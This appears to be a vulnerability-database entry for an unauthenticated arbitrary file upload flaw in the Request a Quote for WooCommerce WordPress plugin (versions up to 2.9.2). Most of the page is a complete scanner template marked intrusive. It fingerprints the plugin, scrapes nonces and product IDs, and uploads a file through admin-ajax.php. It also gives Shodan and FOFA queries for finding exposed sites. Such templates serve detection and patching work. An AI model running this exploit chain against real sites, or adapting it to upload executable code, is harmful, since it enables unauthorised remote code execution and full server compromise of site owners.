CVE-2026-18143: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload

2026-10-17 PoC Public

Description

Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow.

Details

CVE
CVE-2026-18143 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-18143

info:
  name: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of Request a Quote for WooCommerce plugin.
  reference:
    - https://patchstack.com/database/wordpress/plugin/woocommerce-request-a-quote/vulnerability/wordpress-request-a-quote-for-woocommerce-plugin-2-9-2-unauthenticated-arbitrary-file-upload-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3417ec27-6abf-45c7-945f-6ef456ba1187?source=cve
    - https://github.com/murrez/CVE-2026-18143
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18143
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-18143
    epss-score: 0.00413
    epss-percentile: 0.34007
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 8
    vendor: addify
    product: woocommerce-request-a-quote
    fofa-query: body="/wp-content/plugins/woocommerce-request-a-quote/"
    shodan-query: http.html:"woocommerce-request-a-quote"
  tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,addify,afrfq,file-upload,rce,unauth,intrusive,vkev

variables:
  rand: "{{randstr}}"
  filename: "proof_{{rand}}.txt"
  bound: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  if (!http(1)) { stop(); }
  http(2);
  if (!template["product_slug"]) { http(3); }
  if (!template["product_slug"]) { http(4); }
  if (!template["product_slug"]) { stop(); }
  http(5);
  if (!template["nonce1"]) { stop(); }
  http(6);
  http(7);
  if (!template["nonce2"])     { set("nonce2", template["nonce1"]); }
  if (!template["qty_key"])    { set("qty_key", "0"); }
  if (!template["rfq_field1"]) { set("rfq_field1", "afrfq_noop_a"); }
  if (!template["rfq_field2"]) { set("rfq_field2", "afrfq_noop_b"); }
  if (!template["rfq_field3"]) { set("rfq_field3", "afrfq_noop_c"); }
  http(8);

http:
  - raw:
      - |
        GET /wp-content/plugins/woocommerce-request-a-quote/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Request a Quote")'
          - 'compare_versions(plugin_version, "<= 2.9.2")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/wc/store/products?per_page=3&orderby=popularity HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_slug
        group: 1
        regex:
          - '^[\s\S]*?[\\/]product[\\/]+([a-zA-Z0-9_-]+)'
        internal: true

  - raw:
      - |
        GET /wp-sitemap-posts-product-1.xml HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_slug
        group: 1
        regex:
          - '^[\s\S]*?/product/([a-zA-Z0-9_-]+)'
        internal: true

  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_slug
        group: 1
        regex:
          - '^[\s\S]*?/product/([a-zA-Z0-9_-]+)'
        internal: true

  - raw:
      - |
        GET /product/{{product_slug}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce1
        group: 1
        regex:
          - 'afrfq_phpvars[\s\S]{0,400}"nonce"\s*:\s*"([a-f0-9]{6,12})"'
        internal: true

      - type: regex
        name: product_id
        group: 1
        regex:
          - 'postid-(\d+)'
          - '"product_id"\s*:\s*"?(\d+)"?'
        internal: true

      - type: regex
        name: rule_id
        group: 1
        regex:
          - 'data-rule_id="(\d+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=add_to_quote&nonce={{nonce1}}&product_id={{product_id}}&rule_id={{rule_id}}&quantity=1

  - raw:
      - |
        GET /product/{{product_slug}}/?ra={{rand}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce2
        group: 1
        regex:
          - 'name="afrfq_nonce"\s+value="([^"]+)"'
          - 'id="afrfq_nonce"[^>]+value="([^"]+)"'
        internal: true

      - type: regex
        name: qty_key
        group: 1
        regex:
          - 'name="quote_qty\[([^\]]+)\]"'
        internal: true

      - type: regex
        name: rfq_field1
        group: 1
        regex:
          - '^[\s\S]*?name="(afrfq_field_\d+)"'
        internal: true

      - type: regex
        name: rfq_field2
        group: 1
        regex:
          - '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"'
        internal: true

      - type: regex
        name: rfq_field3
        group: 1
        regex:
          - '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{bound}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest

        --{{bound}}
        Content-Disposition: form-data; name="action"

        afrfq_submit_quote_via_popup
        --{{bound}}
        Content-Disposition: form-data; name="afrfq_nonce"

        {{nonce2}}
        --{{bound}}
        Content-Disposition: form-data; name="popup_template"

        template_two
        --{{bound}}
        Content-Disposition: form-data; name="current_page"

        2
        --{{bound}}
        Content-Disposition: form-data; name="quote_qty[{{qty_key}}]"

        1
        --{{bound}}
        Content-Disposition: form-data; name="{{rfq_field1}}"

        poc
        --{{bound}}
        Content-Disposition: form-data; name="{{rfq_field2}}"

        poc
        --{{bound}}
        Content-Disposition: form-data; name="{{rfq_field3}}"

        poc@example.com
        --{{bound}}
        Content-Disposition: form-data; name="qfile"; filename="{{filename}}"
        Content-Type: text/plain

        {{rand}}
        --{{bound}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"status\":\"pass\"")'
        condition: and
# digest: 490a00463044022004795dd9732193d6442d3f0a41e2bdecc0aa34a9831c584374c0bbe85e7f140b02203e4711e1dfd3d7b08e887d18106e654bcea3f94746f09962a653512a15a0439f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life